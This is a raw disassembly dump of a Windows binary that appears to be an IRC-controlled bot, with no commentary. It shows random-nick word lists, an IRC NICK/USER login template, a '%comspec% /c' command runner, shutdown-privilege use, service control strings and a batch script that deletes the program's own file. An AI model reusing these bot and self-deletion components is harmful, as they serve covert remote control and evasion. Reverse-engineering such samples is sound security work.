		dd offset aImirzali	; "IMIRZALI--"
		dd offset aRamtha	; "RAMTHA"
		dd offset aEmre		; "Emre--"
		dd offset aElmaazyok	; "elmaazyok"
		dd offset aEsmerkiz	; "Esmerkiz"
		dd offset aKebikec	; "kebikec"
		dd offset aFlord	; "FLoRD"
		dd offset aHoly		; "holy"
		dd offset aMahinur	; "MAHINUR"
		dd offset aSadikaellesme ; "SaDIkaEllesme"
		dd offset aAykut1	; "aykut1"
		dd offset aKashmira	; "Kashmira"
		dd offset aSeviseli	; "SeViSeLi"
		dd offset aSugarboy	; "SUGARBOY-"
		dd offset aUzgun36	; "uzgun36"
		dd offset aKumul	; "kumul"
		dd offset aAdalim	; "ADALIM"
		dd offset aUmut		; "umut-"
		dd offset aAnk32M	; "ANK-32-M"
		dd offset aDjspace	; "DJSPACE"
		dd offset aAnkar	; "Ankar"
		dd offset aFenerlee	; "FeNeRLee"
		dd offset aHayran	; "hayran"
		dd offset aAngelgirl	; "angelgirl"
		dd offset aKapk		; "kapk"
		dd offset aAchilles	; "Achilles"
		dd offset aTegmen	; "TEGMEN"
		dd offset aKotan	; "kotan"
		dd offset aSevda	; "sevda"
		dd offset off_438EE8
		dd offset aAlcatras	; "alcatras"
		dd offset aA44m		; "a44m"
		dd offset aBirsen	; "birsen"
		dd offset aYabanc	; "yabanc"
		dd offset aDevre	; "devre"
		dd offset aErkan	; "erkan"
		dd offset aAnkm		; "ankM"
		dd offset aAdem28	; "Adem28"
		dd offset aMaxsilla	; "maxsilla"
		dd offset aM41ist	; "M41IST"
		dd offset aAdamm33	; "AdAMM33"
		dd offset aFirtina	; "firtina"
		dd offset aAta29	; "Ata29"
		dd offset aKoray	; "KORAY"
		dd offset aAkden	; "akden"
		dd offset aIzmirlm	; "izmirlm"
		dd offset aUla		; "ula"
		dd offset aNeHaber	; "NE-HABER"
		dd offset aPassenger	; "passenger"
		dd offset aTropikal	; "tropikal"
		dd offset aCool30m	; "cool30m"
		dd offset aCem39	; "cem39"
		dd offset aRerpjj	; "RERPJJ"
		dd offset aTeoman	; "TEOMAN```"
		dd offset aDallas43m	; "DALLAS43M"
		dd offset aPrometheus	; "prometheus"
		dd offset aMaveRIck	; "MaVe{R}icK"
		dd offset aAdamm	; "ADAMM"
; ---------------------------------------------------------------------------
		fmul	qword ptr [ebp-722FFFBDh]
		inc	ebx


loc_438AB7:				; DATA XREF: sub_417E84+41r
					; sub_417E84+ECr
		add	ah, dh
		xchg	eax, ebp
		inc	edx
		add	ah, cl
		lea	eax, [ebx+0]
		enter	438Dh, 0
		ror	byte ptr [ebp-7243FFBDh], 43h
		add	[eax-4FFFBC73h], bh
		lea	eax, [ebx+0]
		test	al, 8Dh
		inc	ebx
		add	[eax-67FFBC73h], ah
		lea	eax, [ebx+0]
		nop
		lea	eax, [ebx+0]
		mov	[ebp-727FFFBDh], cl
		inc	ebx
		add	[eax-73h], bh
		inc	ebx
		add	[ebp+ecx*4+43h], ch
		add	[ebp+ecx*4+43h], ah
		add	[ebp+ecx*4+43h], bl
		add	[eax-73h], bl
		inc	ebx
		add	[eax-73h], dl
		inc	ebx
		add	[ebx+edx*4+43h], al
		add	[ecx+esi*4+42h], dl
		add	[ebx+edx*4+43h], bl
		add	[eax+580042B1h], dl
		xchg	eax, ebx
		inc	ebx
		add	[ebx+edx*4+43h], dl
		add	[eax-6Dh], dl
		inc	ebx
		add	[esi+eax*8+42h], bh
		add	[eax-47h], al
		inc	edx
		add	[eax+700042B7h], cl
		mov	bh, 42h
		add	al, bh
		retf	42h
; ---------------------------------------------------------------------------
		dd offset aM		; "m"
		dd offset aN		; "n"
		dd offset aO		; "o"
		dd offset aP		; "p"
		dd offset aQ		; "q"
		dd offset aRs		; "rs"
		dd offset aT		; "t"
		dd offset aU		; "u"
		dd offset aV		; "v"
		dd offset dword_439364
		dd offset dword_439348
		dd offset dword_439360
		dd offset dword_43934C
		dd offset aHappy	; "happy"
		dd offset aRg		; "rg"
		dd offset aTy		; "ty"
		dd offset aGf		; "gf"
		dd offset aRt		; "rt"
		dd offset aSdf		; "sdf"
		dd offset aUi		; "ui"
		dd offset aLuvy		; "luvy"
		dd offset aTrimy	; "trimy"
		dd offset aTruck	; "truck"
		dd offset aMuckc	; "muckc"
		dd offset dword_43934C
		dd offset dword_439354
		dd offset aS_0		; "s"
		dd offset aQ		; "q"
		dd offset off_438D08
		dd offset aBbl		; "|bbl"
		dd offset byte_43DBD8
		dd offset byte_43DBD8
		dd offset a___0		; "_|_"
		dd offset byte_43DBD8
		dd offset byte_43DBD8
		dd offset byte_43DBD8
		dd offset byte_43DBD8
		dd offset dword_439314
		dd offset aM_0		; "M"
		dd offset aLuvu		; "LUVU"
		dd offset aSad		; "Sad"
		dd offset aF_2		; "^^^f^"
		dd offset dword_439344
		dd offset byte_43DBD8
		dd offset aSleeping	; "Sleeping"
		dd offset byte_43DBD8
		dd offset byte_43DBD8
		dd offset aFuck_0	; "Fuck"
		dd offset aFree		; "Free"
		dd offset byte_43DBD8
		dd offset byte_43DBD8
		dd offset dword_4392F8
		dd offset byte_43DBD8
		dd offset off_438CC8
		dd offset aGirl_0	; "GIRL"
		dd offset aGurl		; "gurl"
		dd offset aShit		; "shit"
		dd offset aAha		; "aha"
		dd offset aYeah		; "yeah"
		dd offset aMuha		; "muha"
		dd offset aMof0		; "mof0"
		dd offset aMofo		; "mofo"
		dd offset dword_438C88
		dd offset dword_438C84
		dd offset dword_438C7C
		dd offset dword_438C70
		dd offset dword_438C68
		dd offset dword_438C60
		dd offset dword_438C58
		dd offset dword_438C54
		dd offset dword_438C50
dword_438C50	dd 7536h		; DATA XREF: ___:00438C4Co
dword_438C54	dd 7535h		; DATA XREF: ___:00438C48o
dword_438C58	dd 7C75347Ch, 0		; DATA XREF: ___:00438C44o
dword_438C60	dd 6F79347Bh, 7D75h	; DATA XREF: ___:00438C40o
dword_438C68	dd 7375347Ch, 7Ch	; DATA XREF: ___:00438C3Co
dword_438C70	dd 7865737Ch, 65726634h, 7C65h ; DATA XREF: ___:00438C38o
dword_438C7C	dd 6F6C6F6Ch, 7C617Ch	; DATA XREF: ___:00438C34o
dword_438C84	dd 6C6F6Ch		; DATA XREF: ___:00438C30o
dword_438C88	dd 746F74h		; DATA XREF: ___:00438C2Co
aMofo		db 'mofo',0             ; DATA XREF: ___:00438C28o
		align 4
aMof0		db 'mof0',0             ; DATA XREF: ___:00438C24o
		align 4
aMuha		db 'muha',0             ; DATA XREF: ___:00438C20o
		align 4
aYeah		db 'yeah',0             ; DATA XREF: ___:00438C1Co
		align 4
aAha		db 'aha',0              ; DATA XREF: ___:00438C18o
aShit		db 'shit',0             ; DATA XREF: ___:00438C14o
		align 4
aGurl		db 'gurl',0             ; DATA XREF: ___:00438C10o
		align 10h
aGirl_0		db 'GIRL',0             ; DATA XREF: ___:00438C0Co
		align 4
off_438CC8	dd offset word_594F42	; DATA XREF: ___:00438C08o
aFree		db 'Free',0             ; DATA XREF: ___:00438BF4o
		align 4
aFuck_0		db 'Fuck',0             ; DATA XREF: ___:00438BF0o
		align 4
aSleeping	db 'Sleeping',0         ; DATA XREF: ___:00438BE4o
		align 4
aF_2		db '^^^f^',0            ; DATA XREF: ___:00438BD8o
		align 10h
aSad		db 'Sad',0              ; DATA XREF: ___:00438BD4o
aLuvu		db 'LUVU',0             ; DATA XREF: ___:00438BD0o
		align 4
a___0		db '_|_',0              ; DATA XREF: ___:00438BB4o
aBbl		db '|bbl',0             ; DATA XREF: ___:00438BA8o
		align 4
off_438D08	dd offset loc_425240+2	; DATA XREF: ___:00438BA4o
aMuckc		db 'muckc',0            ; DATA XREF: ___:00438B90o
		align 4
aTruck		db 'truck',0            ; DATA XREF: ___:00438B8Co
		align 4
aTrimy		db 'trimy',0            ; DATA XREF: ___:00438B88o
		align 4
aLuvy		db 'luvy',0             ; DATA XREF: ___:00438B84o
		align 4
aUi		db 'ui',0               ; DATA XREF: ___:00438B80o
		align 10h
aSdf		db 'sdf',0              ; DATA XREF: ___:00438B7Co
aRt		db 'rt',0               ; DATA XREF: ___:00438B78o
		align 4
aGf		db 'gf',0               ; DATA XREF: ___:00438B74o
		align 4
aTy		db 'ty',0               ; DATA XREF: ___:00438B70o
		align 10h
aRg		db 'rg',0               ; DATA XREF: ___:00438B6Co
		align 4
aHappy		db 'happy',0            ; DATA XREF: ___:00438B68o
		align 4
aRs		db 'rs',0               ; DATA XREF: ___:00438B48o
		align 10h
aQ8A		db '|q8|a',0
		align 4
aQ8		db 'Q8',0
		align 4
aSick		db 'sick}}',0
		align 4
aWiked		db '|wiked|',0
aLuvuF		db '||luvu-f|',0
		align 4
aGens		db '{gens|',0
		align 10h
aSex_0		db '{sex}',0
		align 4
aHub		db '{hub}',0
		align 10h
aLuck		db '|luck|',0
		align 4
aSuck		db '|suck|',0
		align 10h
aTot		db '-|tot|',0
		align 4
aWoh		db '|woh|',0
		align 10h
aTambe		db '|tambe|',0
aLag		db 'lag',0
aBad		db 'bad',0
aTree		db 'tree',0
		align 4
aZex		db 'zex',0
aLez		db 'lez',0
aWantedlove	db 'WANTEDLOVE',0
		align 4
aCumhur29	db 'cumhur29',0
		align 4
aAdamm		db 'ADAMM',0            ; DATA XREF: ___:00438AACo
		align 10h
aMaveRIck	db 'MaVe{R}icK',0       ; DATA XREF: ___:00438AA8o
		align 4
aPrometheus	db 'prometheus',0       ; DATA XREF: ___:00438AA4o
		align 4
aDallas43m	db 'DALLAS43M',0        ; DATA XREF: ___:00438AA0o
		align 4
aTeoman		db 'TEOMAN```',0        ; DATA XREF: ___:00438A9Co
		align 10h
aRerpjj		db 'RERPJJ',0           ; DATA XREF: ___:00438A98o
		align 4
aCem39		db 'cem39',0            ; DATA XREF: ___:00438A94o
		align 10h
aCool30m	db 'cool30m',0          ; DATA XREF: ___:00438A90o
aTropikal	db 'tropikal',0         ; DATA XREF: ___:00438A8Co
		align 4
aPassenger	db 'passenger',0        ; DATA XREF: ___:00438A88o
		align 10h
aNeHaber	db 'NE-HABER',0         ; DATA XREF: ___:00438A84o
		align 4
aUla		db 'ula',0              ; DATA XREF: ___:00438A80o
aIzmirlm	db 'izmirlm',0          ; DATA XREF: ___:00438A7Co
aAkden		db 'akden',0            ; DATA XREF: ___:00438A78o
		align 10h
aKoray		db 'KORAY',0            ; DATA XREF: ___:00438A74o
		align 4
aAta29		db 'Ata29',0            ; DATA XREF: ___:00438A70o
		align 10h
aFirtina	db 'firtina',0          ; DATA XREF: ___:00438A6Co
aAdamm33	db 'AdAMM33',0          ; DATA XREF: ___:00438A68o
aM41ist		db 'M41IST',0           ; DATA XREF: ___:00438A64o
		align 4
aMaxsilla	db 'maxsilla',0         ; DATA XREF: ___:00438A60o
		align 4
aAdem28		db 'Adem28',0           ; DATA XREF: ___:00438A5Co
		align 4
aAnkm		db 'ankM',0             ; DATA XREF: ___:00438A58o
		align 4
aErkan		db 'erkan',0            ; DATA XREF: ___:00438A54o
		align 4
aDevre		db 'devre',0            ; DATA XREF: ___:00438A50o
		align 4
aYabanc		db 'yabanc',0           ; DATA XREF: ___:00438A4Co
		align 4
aBirsen		db 'birsen',0           ; DATA XREF: ___:00438A48o
		align 4
aA44m		db 'a44m',0             ; DATA XREF: ___:00438A44o
		align 4
aAlcatras	db 'alcatras',0         ; DATA XREF: ___:00438A40o
		align 4
off_438EE8	dd offset byte_4B5245	; DATA XREF: ___:00438A3Co
aSevda		db 'sevda',0            ; DATA XREF: ___:00438A38o
		align 4
aKotan		db 'kotan',0            ; DATA XREF: ___:00438A34o
		align 4
aTegmen		db 'TEGMEN',0           ; DATA XREF: ___:00438A30o
		align 4
aAchilles	db 'Achilles',0         ; DATA XREF: ___:00438A2Co
		align 10h
aKapk		db 'kapk',0             ; DATA XREF: ___:00438A28o
		align 4
aAngelgirl	db 'angelgirl',0        ; DATA XREF: ___:00438A24o
		align 4
aHayran		db 'hayran',0           ; DATA XREF: ___:00438A20o
		align 4
aFenerlee	db 'FeNeRLee',0         ; DATA XREF: ___:00438A1Co
		align 4
aAnkar		db 'Ankar',0            ; DATA XREF: ___:00438A18o
		align 10h
aDjspace	db 'DJSPACE',0          ; DATA XREF: ___:00438A14o
aAnk32M		db 'ANK-32-M',0         ; DATA XREF: ___:00438A10o
		align 4
aUmut		db 'umut-',0            ; DATA XREF: ___:00438A0Co
		align 4
aAdalim		db 'ADALIM',0           ; DATA XREF: ___:00438A08o
		align 4
aKumul		db 'kumul',0            ; DATA XREF: ___:00438A04o
		align 4
aUzgun36	db 'uzgun36',0          ; DATA XREF: ___:00438A00o
aSugarboy	db 'SUGARBOY-',0        ; DATA XREF: ___:004389FCo
		align 10h
aSeviseli	db 'SeViSeLi',0         ; DATA XREF: ___:004389F8o
		align 4
aKashmira	db 'Kashmira',0         ; DATA XREF: ___:004389F4o
		align 4
aAykut1		db 'aykut1',0           ; DATA XREF: ___:004389F0o
		align 10h
aSadikaellesme	db 'SaDIkaEllesme',0    ; DATA XREF: ___:004389ECo
		align 10h
aMahinur	db 'MAHINUR',0          ; DATA XREF: ___:004389E8o
aHoly		db 'holy',0             ; DATA XREF: ___:004389E4o
		align 10h
aFlord		db 'FLoRD',0            ; DATA XREF: ___:004389E0o
		align 4
aKebikec	db 'kebikec',0          ; DATA XREF: ___:004389DCo
aEsmerkiz	db 'Esmerkiz',0         ; DATA XREF: ___:004389D8o
		align 4
aElmaazyok	db 'elmaazyok',0        ; DATA XREF: ___:004389D4o
		align 4
aEmre		db 'Emre--',0           ; DATA XREF: ___:004389D0o
		align 10h
aRamtha		db 'RAMTHA',0           ; DATA XREF: ___:004389CCo
		align 4
aImirzali	db 'IMIRZALI--',0       ; DATA XREF: ___:004389C8o
		align 4
aHakan3		db 'hakan3',0           ; DATA XREF: ___:004389C4o
		align 4
aMurat34M	db 'murat34-m',0        ; DATA XREF: ___:004389C0o
		align 4
aKeyiflisert	db 'keyifliSERT',0      ; DATA XREF: ___:004389BCo
aArda		db 'arda',0             ; DATA XREF: ___:004389B8o
		align 4
aDevran		db 'devran',0           ; DATA XREF: ___:004389B4o
		align 4
aBerk19m	db 'Berk19m',0          ; DATA XREF: ___:004389B0o
aDenizlim	db 'DenizliM',0         ; DATA XREF: ___:004389ACo
		align 4
aCongueror	db 'CoNGuERoR',0        ; DATA XREF: ___:004389A8o
		align 4
aAlpay34m	db 'alpay34m',0         ; DATA XREF: ___:004389A4o
		align 10h
aBogac		db 'bogac',0            ; DATA XREF: ___:004389A0o
		align 4
aDonjuanm	db 'Donjuanm',0         ; DATA XREF: ___:0043899Co
		align 4
aAnkh		db 'ankh',0             ; DATA XREF: ___:00438998o
		align 4
off_43907C	dd offset byte_457441	; DATA XREF: ___:00438994o
dword_439080	dd 414C5941h, 2Dh	; DATA XREF: ___:00438990o
aAlbina		db 'albina',0           ; DATA XREF: ___:0043898Co
		align 10h
aIzmir39m	db 'Izmir39m',0         ; DATA XREF: ___:00438988o
		align 4
aZack		db 'ZACK',0             ; DATA XREF: ___:00438984o
		align 4
aAnk32m		db 'ank32m',0           ; DATA XREF: ___:00438980o
		align 4
aTurkyy		db 'turkyy',0           ; DATA XREF: ___:0043897Co
		align 4
aAhmet		db 'ahmet',0            ; DATA XREF: ___:00438978o
		align 4
aPelincik	db 'pelincik',0         ; DATA XREF: ___:00438974o
		align 4
aBlackpearl	db 'blackpearl',0       ; DATA XREF: ___:00438970o
		align 4
aRetg		db 'RETG',0             ; DATA XREF: ___:0043896Co
		align 4
aSamyeli21	db 'samyeli21',0        ; DATA XREF: ___:00438968o
		align 4
aPiramit	db 'PIRAMIT',0          ; DATA XREF: ___:00438964o
aAslii		db 'aslii',0            ; DATA XREF: ___:00438960o
		align 4
aErnesto	db 'ERNESTO',0          ; DATA XREF: ___:0043895Co
aHaticem	db 'haticem',0          ; DATA XREF: ___:00438958o
aArzu		db 'ARZU',0             ; DATA XREF: ___:00438954o
		align 10h
aSudenur	db 'SUDENUR',0          ; DATA XREF: ___:00438950o
aSevmekmi	db 'sevmekmi',0         ; DATA XREF: ___:0043894Co
		align 4
aVenedik34	db 'venedik34',0        ; DATA XREF: ___:00438948o
		align 10h
aTekir		db 'tekir',0            ; DATA XREF: ___:00438944o
		align 4
aMERVE		db 'M-E-R-V-E',0        ; DATA XREF: ___:00438940o
		align 4
aTrend3		db 'trend3',0           ; DATA XREF: ___:0043893Co
		align 4
aMelekk		db 'melekk',0           ; DATA XREF: ___:00438938o
		align 4
aAkin		db 'AKIN',0             ; DATA XREF: ___:00438934o
		align 4
aMary_0		db 'MARY',0             ; DATA XREF: ___:00438930o
		align 4
aJericho	db 'JERICHO',0          ; DATA XREF: ___:0043892Co
aTolga34	db 'Tolga34',0          ; DATA XREF: ___:00438928o
aMisssunday	db 'misssunday',0       ; DATA XREF: ___:00438924o
		align 10h
aIrmal		db 'irmal',0            ; DATA XREF: ___:00438920o
		align 4
aObenibisevse	db 'OBeNiBiSeVSe',0     ; DATA XREF: ___:0043891Co
		align 4
aBerk19		db 'berk19',0           ; DATA XREF: ___:00438918o
		align 10h
aHexaaa		db 'hexaaa',0           ; DATA XREF: ___:00438914o
		align 4
aErkan27	db 'erkan27',0          ; DATA XREF: ___:00438910o
aKaan38dent	db 'kaan38dent',0       ; DATA XREF: ___:0043890Co
		align 4
aCansuuuu	db 'cansuuuu',0         ; DATA XREF: ___:00438908o
		align 4
aThr45h3r5	db 'THR45H3R5',0        ; DATA XREF: ___:00438904o
		align 4
aKencing	db 'Kencing',0          ; DATA XREF: ___:00438900o
aReshma		db 'reshma',0           ; DATA XREF: ___:004388FCo
		align 4
aCamel		db 'CAMEL',0            ; DATA XREF: ___:004388F8o
		align 4
aGirl		db 'GirL',0             ; DATA XREF: ___:004388F4o
		align 4
aImra		db 'imra',0             ; DATA XREF: ___:004388F0o
		align 4
aCoredump	db 'CoreDump',0         ; DATA XREF: ___:004388ECo
		align 4
aPuregold	db 'puregold',0         ; DATA XREF: ___:004388E8o
		align 4
aKermit		db 'kermit',0           ; DATA XREF: ___:004388E4o
		align 4
aManee		db 'manee',0            ; DATA XREF: ___:004388E0o
		align 4
aTroller	db 'troller',0          ; DATA XREF: ___:004388DCo
aLuisa		db 'Luisa',0            ; DATA XREF: ___:004388D8o
		align 4
aNastysha	db 'nastysha',0         ; DATA XREF: ___:004388D4o
		align 10h
aRimpy		db 'rimpy',0            ; DATA XREF: ___:004388D0o
		align 4
aJanno		db 'janno',0            ; DATA XREF: ___:004388CCo
		align 10h
aBunty		db 'bunty',0            ; DATA XREF: ___:004388C8o
		align 4
aHeval		db 'heval',0            ; DATA XREF: ___:004388C4o
		align 10h
aCme		db 'cme',0              ; DATA XREF: ___:004388C0o
aMarcy		db 'marcy',0            ; DATA XREF: ___:004388BCo
		align 4
aTalika		db 'talika',0           ; DATA XREF: ___:004388B8o
		align 4
aShez		db 'Shez',0             ; DATA XREF: ___:004388B4o
		align 4
aKen		db 'ken',0              ; DATA XREF: ___:004388B0o
aFlexster	db 'flexster',0         ; DATA XREF: ___:004388ACo
		align 4
aKoko		db 'koko',0             ; DATA XREF: ___:004388A8o
		align 4
aMale		db 'male',0             ; DATA XREF: ___:004388A4o
		align 4
aSwin		db 'swin',0             ; DATA XREF: ___:004388A0o
		align 4
aCar1nna	db 'Car1nna',0          ; DATA XREF: ___:0043889Co
aKrizha		db 'KRIZHA',0           ; DATA XREF: ___:00438898o
		align 4
aEmilya		db 'emilya',0           ; DATA XREF: ___:00438894o
		align 4
aBobmarley	db 'BOBMARLEY',0        ; DATA XREF: ___:00438890o
		align 4
aMaxxguy	db 'maxxguy',0          ; DATA XREF: ___:0043888Co
aFarooq		db 'farooq',0           ; DATA XREF: ___:00438888o
		align 4
aSmartmir	db 'SMARTMIR',0         ; DATA XREF: ___:00438884o
		align 4
aM_0:					; DATA XREF: ___:00438880o
					; ___:00438BCCo
		unicode	0, <M>,0
word_4392E8	dw 4Eh			; DATA XREF: sub_41A3C6+38r
					; ___:0043887Co
		align 4
dword_4392EC	dd 42h			; DATA XREF: ___:00438878o
dword_4392F0	dd 56h			; DATA XREF: ___:00438874o
dword_4392F4	dd 43h			; DATA XREF: ___:00438870o
dword_4392F8	dd 58h			; DATA XREF: ___:0043886Co
					; ___:00438C00o
dword_4392FC	dd 5Ah			; DATA XREF: ___:00438868o
dword_439300	dd 4Ch			; DATA XREF: ___:00438864o
dword_439304	dd 4Bh			; DATA XREF: ___:00438860o
dword_439308	dd 4Ah			; DATA XREF: ___:0043885Co
dword_43930C	dd 48h			; DATA XREF: ___:00438858o
dword_439310	dd 47h			; DATA XREF: ___:00438854o
dword_439314	dd 46h			; DATA XREF: ___:00438850o
					; ___:00438BC8o
dword_439318	dd 44h			; DATA XREF: ___:0043884Co
dword_43931C	dd 53h			; DATA XREF: ___:00438848o
dword_439320	dd 50h			; DATA XREF: ___:00438840o
dword_439324	dd 4Fh			; DATA XREF: ___:0043883Co
dword_439328	dd 55h			; DATA XREF: ___:00438834o
word_43932C	dw 59h			; DATA XREF: sub_41A6EA+38r
					; ___:00438830o
		align 10h
dword_439330	dd 54h			; DATA XREF: ___:0043882Co
dword_439334	dd 52h			; DATA XREF: ___:00438828o
dword_439338	dd 45h			; DATA XREF: ___:00438824o
dword_43933C	dd 57h			; DATA XREF: ___:00438820o
dword_439340	dd 51h			; DATA XREF: ___:0043881Co
dword_439344	dd 62h			; DATA XREF: ___:00438810o
					; ___:00438BDCo
dword_439348	dd 78h			; DATA XREF: ___:00438804o
					; ___:00438B5Co
dword_43934C	dd 7Ah,	68h		; DATA XREF: ___:00438800o
					; ___:00438B64o ...
dword_439354	dd 67h,	66h, 64h	; DATA XREF: ___:00438B98o
dword_439360	dd 79h			; DATA XREF: ___:00438B60o
dword_439364	dd 77h			; DATA XREF: ___:004387BCo
					; ___:00438B58o
dword_439368	dd 4B43494Eh, 0A732520h, 0 ; DATA XREF:	sub_417B76+B1o
dword_439374	dd 323334h		; DATA XREF: sub_417B76+79o
dword_439378	dd 474E4F50h, 0A732520h, 0 ; DATA XREF:	sub_417B76+61o
aNickSUserSHotm	db 'NICK %s',0Ah        ; DATA XREF: sub_417C61+9Bo
		db 'USER %s "hotmail.com" "127.0.0.1" :%s',0Ah,0
		align 4
a__0		db '-|`_\{[]}',0        ; DATA XREF: sub_417E84+BCo
					; sub_417E84+175r ...
		align 10h
dword_4393C0	dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 ; DATA XREF: sub_4182CD+A4o
		dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
		dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_43940C	dd 3000005h, 10h, 18h, 1, 3 dup(0) ; DATA XREF:	sub_4182CD+E3o
; ---------------------------------------------------------------------------


loc_439428:				; DATA XREF: sub_4182CD+118o
		mov	al, 1
		push	edx
		xchg	eax, edi
		retf	0D059h
; ---------------------------------------------------------------------------
		db 11h
		dd 0A000D5A8h, 51800DC9h, 0
dword_43943C	dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
					; DATA XREF: sub_4182CD+13Fo
aSErrorSD_	db '%s Error: %s <%d>.',0 ; DATA XREF: sub_418699+72o
		align 4
aExplorer_exe	db 'explorer.exe',0     ; DATA XREF: sub_4187E0+1Co
		align 4
aSeshutdownpriv	db 'SeShutdownPrivilege',0 ; DATA XREF: sub_418884+2o
aComspecCSS	db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_4188A6+140o
		align 10h
a@echoOffRepeat	db '@echo off',0Dh,0Ah  ; DATA XREF: sub_4188A6+85o
		db ':repeat',0Dh,0Ah
		db 'del "%%1"',0Dh,0Ah
		db 'if exist "%%1" goto repeat',0Dh,0Ah
		db 'del "%s"',0
aSdel_bat	db '%sdel.bat',0        ; DATA XREF: sub_4188A6+48o
		align 10h
unk_4394F0	db  2Dh	; -		; DATA XREF: sub_418A2E+9Co
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aOperatingSyste	db '- operating system is not supported',0
		align 10h
unk_439520	db  2Dh	; -		; DATA XREF: sub_418A2E+8Fo
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aFailedWithErro	db '- failed with error code %d',0
		align 4
dword_439548	dd 234032Dh, 2676F6Ch, 25202D03h, 6F6C2073h, 6C632067h
					; DATA XREF: sub_418A2E+5Co
		dd 65726165h, 64h, 0
off_439568	dd offset aAdd		; DATA XREF: sub_418C0E+60r
					; sub_418FE5+51r ...
					; "Add"
off_43956C	dd offset aAdded	; DATA XREF: sub_418C0E+2Dr
					; sub_418FE5+83r ...
					; "Added"
dword_439570	dd 0			; DATA XREF: sub_418C0E+18r
		dd offset aDelete_0	; "Delete"
		dd offset aDeleted	; "Deleted"
		align 10h
		dd offset aList_1	; "List"
		dd offset aListed	; "Listed"
		dd 0
		dd offset aStart_0	; "Start"
		dd offset aStarted	; "Started"
		align 8
		dd offset aStop_0	; "Stop"
		dd offset aStopped_0	; "Stopped"
		dd 1, 4395DCh, 4395D4h,	2, 4395C8h, 4395BCh, 3,	746E6F43h
		dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0
aPaused		db 'Paused',0
		align 4
aPause_0	db 'Pause',0
		align 4
aStopped_0	db 'Stopped',0          ; DATA XREF: ___:0043959Co
aStop_0		db 'Stop',0             ; DATA XREF: ___:00439598o
		align 4
aStarted	db 'Started',0          ; DATA XREF: ___:00439590o
aStart_0	db 'Start',0            ; DATA XREF: ___:0043958Co
		align 4
aListed		db 'Listed',0           ; DATA XREF: ___:00439584o
		align 4
aList_1		db 'List',0             ; DATA XREF: ___:00439580o
		align 4
aDeleted	db 'Deleted',0          ; DATA XREF: ___:00439578o
aDelete_0	db 'Delete',0           ; DATA XREF: ___:00439574o
		align 4
aAdded		db 'Added',0            ; DATA XREF: ___:off_43956Co
		align 4
aAdd		db 'Add',0              ; DATA XREF: ___:off_439568o
unk_439630	db  2Dh	; -		; DATA XREF: sub_418C0E+67o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoServiceSpec	db '- %s: no service specified',0
unk_439654	db  2Dh	; -		; DATA XREF: sub_418C0E+51o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aErrorWithServi	db '- error with service: ',27h,'%s',27h,' - %s',0
		align 10h
unk_439680	db  2Dh	; -		; DATA XREF: sub_418C0E+33o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSServiceS	db '- %s service: ',27h,'%s',27h,0
aAnUnknownError	db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_418D2A+12Co
		align 10h
aTheSystemIsShu	db 'The system is shutting down.',0 ; DATA XREF: sub_418D2A:loc_418E42o
		align 10h
aTheServiceHasN	db 'The service has not been started.',0 ; DATA XREF: sub_418D2A:loc_418E3Bo
		align 4
aTheRequested_1	db 'The requested control code cannot be sent to the service because '
					; DATA XREF: sub_418D2A:loc_418E34o
		db 'the state of the service.',0
		align 10h
aTheServiceHa_0	db 'The service has been marked for deletion.',0
					; DATA XREF: sub_418D2A:loc_418E2Do
		align 4
aTheServiceCoul	db 'The service could not be logged on. The account does not have the'
					; DATA XREF: sub_418D2A:loc_418E26o
		db ' correct access rights.',0
		align 4
aTheSpecified_0	db 'The specified service does not exist.',0
					; DATA XREF: sub_418D2A:loc_418E1Fo
		align 10h
aTheServiceHasB	db 'The service has been disabled.',0 ; DATA XREF: sub_418D2A:loc_418E18o
		align 10h
aTheServiceDe_0	db 'The service depends on another service that has failed to start.',0
					; DATA XREF: sub_418D2A:loc_418E11o
		align 4
aTheServiceDepe	db 'The service depends on a service that does not exist or has been '
					; DATA XREF: sub_418D2A:loc_418E0Ao
		db 'marked for deletion.',0
		align 4
aTheSpecifiedDa	db 'The specified database does not exist.',0
					; DATA XREF: sub_418D2A:loc_418E03o
		align 4
aAnInstanceOfTh	db 'An instance of the service is already running.',0
					; DATA XREF: sub_418D2A:loc_418DD8o
		align 4
aTheRequested_0	db 'The requested control code is not valid, or it is unacceptable to'
					; DATA XREF: sub_418D2A:loc_418DD1o
		db ' the service.',0
		align 4
aTheProcessForT	db 'The process for the service was started, but it did not call Star'
					; DATA XREF: sub_418D2A:loc_418DCAo
		db 'tServiceCtrlDispatcher.',0
		align 10h
aAThreadCouldNo	db 'A thread could not be created for the service.',0
					; DATA XREF: sub_418D2A:loc_418DC3o
		align 10h
aTheDatabaseIsL	db 'The database is locked.',0 ; DATA XREF: sub_418D2A+8Fo
aTheServiceCann	db 'The service cannot be stopped because other running services are '
					; DATA XREF: sub_418D2A:loc_418D98o
		db 'dependent on it.',0
		align 4
aTheServiceBina	db 'The service binary file could not be found.',0
					; DATA XREF: sub_418D2A:loc_418D8Eo
aTheHandleDoesN	db 'The handle does not have the required access right.',0
					; DATA XREF: sub_418D2A:loc_418D84o
aTheHandleIsInv	db 'The handle is invalid.',0 ; DATA XREF: sub_418D2A:loc_418D7Ao
		align 4
aTheRequestedCo	db 'The requested control code is undefined.',0
					; DATA XREF: sub_418D2A:loc_418D70o
		align 10h
aTheSpecifiedSe	db 'The specified service name is invalid.',0 ; DATA XREF: sub_418D2A+3Co
		align 4
aSSS		db '%s: %s (%s)',0      ; DATA XREF: sub_418EA8+EBo
aStopped	db '    Stopped',0      ; DATA XREF: sub_418EA8:loc_418F74o
aStarting	db '   Starting',0      ; DATA XREF: sub_418EA8:loc_418F6Do
aStoping	db '    Stoping',0      ; DATA XREF: sub_418EA8:loc_418F66o
aRunning	db '    Running',0      ; DATA XREF: sub_418EA8:loc_418F5Fo
